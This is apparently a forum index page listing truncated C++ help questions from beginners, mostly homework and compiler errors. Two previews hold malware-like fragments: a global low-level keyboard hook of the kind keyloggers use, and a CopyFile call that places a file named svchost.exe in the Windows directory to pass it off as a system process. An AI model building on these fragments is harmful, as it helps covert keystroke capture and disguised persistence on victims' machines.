49,767 Topics
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| | I have the following code snippet which is the most important as you can see I have two arrays defined of two different classes, my main agenda is printing them both out in a single list in ascending order based on the .GetDay value in each array, however when read … |
| | I wrote the below code and when I try to compile it I get the following error: error C2109: subscript requires array or pointer type. Can anyone tell me what I did wrong and how I can fix it? Thanks a lot! :) [CODE] // This program writes the bombsweeper …  |
| | this is a c++ program for the simulation of gillians island i did. im a newbie in programming looking to improve on my skills. Can some assist me on how to break this code into functions. please dont rewrite the code i need just a sampler from code i can … |
| | Alright, so the assignment which im sure you guys have seen around alot is to do a powerball type program, 1-55 for the first 5 numbers then the 6th 1-42. I set up the program, i get my random numbers. but the teacher wants you to assign a single variable … |
| | Thanks to the help I recieved earlier, I figured out how to make my other header file and my other .cpp file!! So thank you for that. I am now trying to compile all of my files together, and am getting quite a few linker errors, even though the functions … |
| | Wow sorry for so many edits I just need to swap the rest of my array of structs along with the day value now delete this post or post insight on how [code] int x, y; for(x = 0; x < l; x++) { for(y = 0; y < x; …  |
| | Hey, im looking for a good C++ IDE on Linux. Wanted features: Integrated debugger support Code formatting Syntax highlighting etc.. I hate code folding and that auto-bracket thing Preferably one thats fast. I tried Eclipse CDT but it crashed all the time and i didn't like it. I get on … |
| | c:\documents and settings\administrator.rahulabbine44fd\desktop\cs340 proj1\cs340 proj1\binarytree.cpp(27) : error C2143: syntax error : missing ';' before 'BinaryTree<E>::getNode' in cpp file template <class E> nodePtr BinaryTree<E>::getNode(E item){ nodePtr<E> temp = new nodePtr; temp->data = item; return nodePtr; } in headr file: struct node; typedef node *nodePtr; struct node { E data; nodePtr left; … |
| | [CODE] #include <iostream> #include <windows.h> using namespace std; HHOOK g_KeyboardHook = NULL; LRESULT CALLBACK cbHookKeyboard(int nCode, WPARAM wParam, LPARAM lParam); int main(int argc, char *argv[]) { g_KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)cbHookKeyboard, GetModuleHandle(NULL), 0); while(true) { } return EXIT_SUCCESS; } LRESULT CALLBACK cbHookKeyboard(int nCode, WPARAM wParam, LPARAM lParam) { if(nCode == HC_ACTION) … |
| | Hi all, I have a question here.. I am using microsoft visual C++ 6.0 with SP4 and SP5.. I call a `DoModal()`, but there was nothing dialog show out.. below are my codes.. CDlgA oDlgA; oDlgA.DoModal(); but no dialog show out.. then I trace the debug code, found out that … |
| | Hello, and thank you for taking the time to help me! This is my first real program in C++, and I am still getting used to the differences between C and C++, so I still really don't know what I'm doing. I am working on a header file and its …  |
| | Hi! I'm running Ubuntu 9.04 and using Code::Blocks as C++ IDE. I have the following code: Temp.h: [CODE]#ifndef TEMP_H_INCLUDED #define TEMP_H_INCLUDED template <typename T> class Temp { public: Temp (T d = T(0)): _dato(d) {} T getDato () const; void setDato (T d); private: T _dato; }; template class Temp<double>; … |
| | My professor likes to give us tests on topics we've not covered yet, like string stream :o This program uses stringstream objects to make sentences like the Mad Lib ™ game. Create 4 string objects: noun, adjective, verb, and adverb. You will need these functions: AskNoun, AskVerb, AskAdjective, AskAdverb, and …  |
| | Alright, so I'm a bit lost as to what to do next with this and am looking for some direction. The assignment sheet is as follows: [QUOTE]CSC 265 – Fall 2009 – Program 1 Due: Thursday October 8, 10 minutes before class starts Write a header file, implementation file, and … |
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 | Hi :) I have this assignment for my first year programming module and one of the questions asks for a void function using string parameters. This confused the hell out of me, but I came up with this idea. Would someone please, please, please have a look at it and … |
| | Hi all, Here is the problem; I’m trying to make two threads draw pixels in two different memory spaces at the same time. Nothing fancy, just a test program to learn about thread programming. I allocate the memory, send the address as parameters to the two threads, and in each … |
| | im lost making a code that runs this. it has to include "while" command but im having difficulty with the counter vs the name =/ can someone help [COLOR="Green"] Enter your friend’s name(stop to quit):john Enter your friend’s name(stop to quit):megan Enter your friend’s name(stop to quit):stop Congratulations you have … |
| | hii i have problem with the line [CODE]CopyFile ("\\svchost.exe","c:\\%windir%\\svchost.exe",0);[/CODE] i have already tryed to put _T before ( but he won't compile CopyFileW' : cannot convert parameter 1 from 'const char [13]' to 'LPCWSTR' i want that copyfile the file copies to the windows map srry for bad english [CODE]TCHblabla … |
| | i found this problem in c/c++ when i wrote this code int a=5,b; b=++a +(+=a + a--); it gave the output of b as 21 and when i wrote int a; int b=++a + (++a + a--); it gave b as 18 why the answers are varying for the same … |
 | I have to write a program for my assignment that does a quote. It has to have a void function that validates a string and and integer entered. Other wise I would have solved the problem with a simple menu and integers. The entries has to be one of five … |
| | I'm stuck on a homework problem. Just not sure where I'm going wrong, I think my code should work and it doesn't, and I'm not sure why. The assigned problem is: Recursive Multiplication: Write a recursive function that accepts two arguments into the parameters x and y. The function should … |
| | Hi, I created an array of numbers which converts into letters through a number generator. I need help sorting my array letters[j] so that the output can be printed in alphabetical order. After, I am storing it in a Linked List and printing it out. So far, it just prints … |
| | I'm having trouble getting the right operator to be accessed using polymorphism. The code below is a simple representation of the problem, but it should get the point across. [CODE=CPLUSPLUS]//Horse.h #ifndef HORSE_H_INCLUDED #define HORSE_H_INCLUDED #include <iostream> #include <string> class Horse { public: Horse() {} Horse(int age) : itsAge(age) {} virtual … |
| | Hi, I have searched the internet high and low but all posts I have found on this topic have been confusing to me... It is quite clear that there is something basic I am not getting... please help... My applications are written in VC++ 2008 Express and all source code …  |
 | A roman to decimal converter, no validity checking, so inputting an invalid roman number will certainly just yield a wrong result. |
| | I have two arrays both have a defined sized for each element that was filled when reading from a file currently but have a max size of 50 I have array 1 [4] I have array 2 [2] However, my main point is I have to process these two arrays … |
| | Hey, im in my first computer science course and im having a really hard time. i have two questions on an assignment which are stumping me one is: 1. Create a function bulk-price that determines the amount of savings possible by buying soil delivered by the cubic yard instead of … |
| | Hello I am trying to figure out how to create a number generator to generate a number between 65-90 (ascii capital letters) and 97-122 (ascii lowercase letters). I need to convert the number to a char and then put the char in the linked list in order while ignoring duplicates. … |
| | i have to write a c++ program that will calculate the weekly pay for the employees of a company and the total amount of the payroll. input for the program will be the employee number number (int), status of the employee-exempt or non exempt (int).(Exempt employees receive pay for a … |
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